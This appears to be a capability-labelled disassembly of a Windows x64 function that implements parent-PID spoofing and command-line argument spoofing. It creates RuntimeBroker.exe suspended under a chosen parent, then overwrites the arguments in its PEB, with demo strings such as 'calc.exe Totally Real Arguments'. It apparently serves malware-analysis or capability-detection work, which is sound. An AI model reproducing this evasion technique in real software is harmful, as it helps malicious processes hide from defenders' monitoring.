Function at 0x140001190
Capabilities:
Create process on windows
Query environment variable
Spoof parent pid

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x350], rax
mov r12, qword [rbp + 0x3c0]
xorps xmm0, xmm0
xor eax, eax
mov qword [rsp + 0x68], rcx
xor ebx, ebx
mov qword [rbp + 8], rax
lea rcx, str.NTDLL
mov qword [rbp + 0x18], rbx
movups xmmword [rbp - 0x58], xmm0
mov qword [rsp + 0x60], rax
mov r15, r9
movups xmmword [rbp - 0x48], xmm0
mov r13, r8
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x1400014d1
xor eax, eax
lea rdi, [rbp - 0x60]
mov ecx, 0x70
lea rdx, [rbp + 0x30]
rep stosb byte [rdi], al
lea rdi, [rsp + 0x50]
mov dword [rbp - 0x60], 0x70
mov ecx, 0x18
mov r8d, 0x104
rep stosb byte [rdi], al
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1400014d1
lea r9, str.RuntimeBroker.exe
lea r8, [rbp + 0x30]
lea rdx, str._sSystem32_s
lea rcx, [rbp + 0x140]
call fcn.140001d80
lea r9, [rbp + 0x18]
xor r8d, r8d
lea edx, [rbx + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rdi, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
lea edx, [rbx + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400014d1
lea r9, [rbp + 0x18]
xor r8d, r8d
lea edx, [rbx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x1400014d1
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x68]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x1400014d1
lea rax, [rsp + 0x50]
mov qword [rbp + 8], rdi
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x140]
lea rax, [rbp - 0x60]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rbx
xor ecx, ecx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8080004
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400014d1
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x10]
xorps xmm0, xmm0
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x30]
mov dword [rbp + 0x10], ebx
lea r8, [rsp + 0x70]
xor edx, edx
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
call rsi
test eax, eax
je 0x14000139b
mov edx, eax
lea rcx, str._t____NtQueryInformationProcess_Failed_With_Error_:_0x_0.8X__n
call fcn.140001070
jmp 0x1400014d1
mov rdx, qword [rsp + 0x78]
mov r9d, 0x2c8
mov rcx, qword [rsp + 0x50]
call fcn.1400010d0
test eax, eax
jne 0x1400013c0
lea rcx, str._t____Failed_To_Read_Targets_Process_Peb__n
jmp 0x1400014cc
mov rdx, qword [0x20]
mov r9d, 0x17f
mov rcx, qword [rsp + 0x50]
call fcn.1400010d0
test eax, eax
jne 0x1400013e8
lea rcx, str._t____Failed_To_Read_Targets_Process_ProcessParameters__n
jmp 0x1400014cc
mov r8, qword [0x78]
lea rdx, str.calc.exe_Totally_Real_Arguments
lea rcx, str._t_i__Writing___s__As_The_Process_Argument_At_:_0x_p_...
call fcn.140001010
lea rcx, str.RuntimeBroker.exe
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, qword [0x78]
lea r8, str.RuntimeBroker.exe
mov rcx, qword [rsp + 0x50]
mov qword [rbp + 0x20], rbx
lea r14d, [rax*2 + 1]
lea rax, [rbp + 0x20]
mov r9d, r14d
mov qword [rsp + 0x20], rax
mov esi, r14d
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000149e
cmp qword [rbp + 0x20], rsi
jne 0x14000149e
lea rcx, str.___DONE__n
call fcn.140001070
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
mov dword [r13], eax
mov rax, qword [rsp + 0x50]
mov qword [r15], rax
mov qword [r12], rcx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [r13], ebx
je 0x1400014d1
cmp qword [r15], rbx
je 0x1400014d1
cmp qword [r12], rbx
setne bl
mov eax, ebx
jmp 0x1400014d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory_Failed_With_Error_:__d__n
call fcn.140001070
mov rdx, qword [rbp + 0x20]
lea rcx, str._i__Bytes_Written_:__d_Of__d__n
mov r8d, r14d
call fcn.140001070
lea rcx, str._t____Failed_To_Write_The_Real_Parameters_n
call fcn.140001070
xor eax, eax
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.140001df0
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x460
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret